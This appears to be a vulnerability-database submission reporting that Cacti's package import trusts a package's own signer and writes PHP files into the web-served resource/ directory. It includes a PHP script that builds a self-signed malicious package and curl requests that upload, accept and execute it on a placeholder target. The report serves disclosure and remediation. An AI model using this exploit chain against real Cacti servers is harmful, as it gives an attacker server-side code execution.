| Titel | The Cacti Group Cacti source revision b7b3fd8; affected releases to be confirmed Unrestricted Upload |
|---|
| Beschreibung | Remote Code Execution in package import via self-trusted signer writing PHP under resource/ (Cacti affected versions to be confirmed)
Summary
Cacti package import allows an import-capable user to accept a package signer from the package itself, then import files under web-served resource/. A self-signed package containing resource/cve_poc.php is accepted and the PHP payload is served over HTTP.
Details
The accept flow writes a temporary copy of the package XML and calls import_validate_public_key($xmlfile, true). Inside that function, the $accept flag makes the package's own public key acceptable and stores it in package_public_keys. During import, import_read_package_data() uses the package key for signature validation. lib/import.php permits file entries under resource/ or scripts/ and writes their decoded contents with fopen(..., 'wb') and fwrite.
Core code path:
// package_import.php:949-954 and 1018-1051
file_put_contents($xmlfile, $_SESSION['sess_import_package']);
import_validate_public_key($xmlfile, true);
...
} elseif ($accept) {
$insert = true;
}
db_execute_prepared('INSERT IGNORE INTO package_public_keys ...', [..., $info['pubkey']]);
// lib/import.php:529-536, 668-679, 716-762
$public_key = import_package_get_public_key($xmlfile);
if (!$preview && !import_validate_signature($xmlfile)) return false;
if (str_contains($name, 'scripts/') || str_contains($name, 'resource/')) {
$filename = CACTI_PATH_BASE . "/$name";
$file = fopen($filename, 'wb');
$bytesWritten = fwrite($file, $fdata, strlen($fdata));
}
POC
Reproduction prerequisites:
- An affected Cacti deployment where resource/ is web-served by PHP.
- An authenticated user that can access package import.
- A gzipped XML package signed by an attacker-generated key and containing a file entry under resource/.
Generate a minimal self-signed package in a test environment:
<?php
$marker = 'CACTI_PACKAGE_RESOURCE_POC';
$key = openssl_pkey_new(['private_key_bits' => 2048, 'private_key_type' => OPENSSL_KEYTYPE_RSA]);
openssl_pkey_export($key, $private);
$public = openssl_pkey_get_details($key)['key'];
$payload = "<?php header('Content-Type: text/plain'); echo '$marker'; ?>";
openssl_sign($payload, $fileSig, $private, OPENSSL_ALGO_SHA256);
$xml = "<xml>
";
$xml .= " <info><name>PoC Package</name><author>Mallory</author><homepage>http://example.invalid</homepage><email>[email protected]</email><version>1.0</version></info>
";
$xml .= " <directories><directory>resource</directory></directories>
";
$xml .= " <files><file><name>resource/cve_poc.php</name><data>" . base64_encode($payload) . "</data><filesignature>" . base64_encode($fileSig) . "</filesignature></file></files>
";
$xml .= " <publickeyname>Mallory</publickeyname><publickey>" . base64_encode($public) . "</publickey>
";
openssl_sign($xml . " <signature></signature>
</xml>", $pkgSig, $private, OPENSSL_ALGO_SHA256);
$xml .= " <signature>" . base64_encode($pkgSig) . "</signature>
</xml>";
file_put_contents('self_signed_resource_poc.xml.gz', gzencode($xml, 9));
Submit the package through the package import UI/API flow:
BASE_URL="https://target.example/cacti"
COOKIE="<authenticated package-import user cookie>"
CSRF="<current __csrf_magic value>"
curl -i -sS -b "$COOKIE" -c "$COOKIE" -X POST "$BASE_URL/package_import.php?action=save&package_location=0" \
-F "__csrf_magic=$CSRF" \
-F "save_component_import=1" \
-F "preview_only=on" \
-F "package_location=0" \
-F "data_source_profile=1" \
-F "import_file=@self_signed_resource_poc.xml.gz;type=application/gzip"
curl -i -sS -b "$COOKIE" "$BASE_URL/package_import.php?action=accept&package_location=0"
curl -i -sS -b "$COOKIE" -c "$COOKIE" -X POST "$BASE_URL/package_import.php?action=save" \
-F "__csrf_magic=$CSRF" \
-F "save_component_import=1" \
-F "import_confirmed=on" \
-F "package_location=0" \
-F "data_source_profile=1" \
-F "<preview checkbox name for resource/cve_poc.php>=on"
curl -i -sS "$BASE_URL/resource/cve_poc.php"
Expected result: the final request returns HTTP/1.1 200 OK with body CACTI_PACKAGE_RESOURCE_POC, proving that the self-signed package was trusted and its PHP file was written under a web-executable path.
Impact
An authenticated user with package import access can place attacker-controlled PHP in a web-served directory and execute it by requesting the resulting resource URL. This is a server-side code execution impact in typical PHP deployments where resource/ is served by the web server.
Remediation
Do not let an imported package self-authorize its signer for the same import. Require administrators to preconfigure trusted package signing keys through a separate trusted channel. Disallow executable extensions in importable web-served directories or store imported package assets outside the PHP execution root.
Disclosure Notes
This is not a path traversal claim; current source blocks .. and absolute paths. The issue is signer self-trust plus allowed PHP file placement under resource/.
Supplemental Information
Affected products
- Ecosystem: PHP application
- Package name: Cacti
- Affected versions: affected versions to be confirmed; reviewed source snapshot revision b7b3fd8 reviewed
- Patched versions: to be confirmed
Severity
- Scoring method: CVSS v3.1
- Score: 9.9
- Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Weaknesses
- CWE: CWE-434 Unrestricted Upload of File with Dangerous Type |
|---|
| Quelle | ⚠️ https://github.com/godzeo/vulhub/issues/1 |
|---|
| Benutzer | Zeo666666 (UID 100987) |
|---|
| Einreichung | 03.09.2026 11:43 (vor 2 Monaten) |
|---|
| Moderieren | 10.10.2026 23:24 (1 month later) |
|---|
| Status | Duplikat |
|---|
| VulDB Eintrag | 263978 [Cacti bis 1.2.26 Package Import /lib/import.php import_package erweiterte Rechte] |
|---|
| Punkte | 0 |
|---|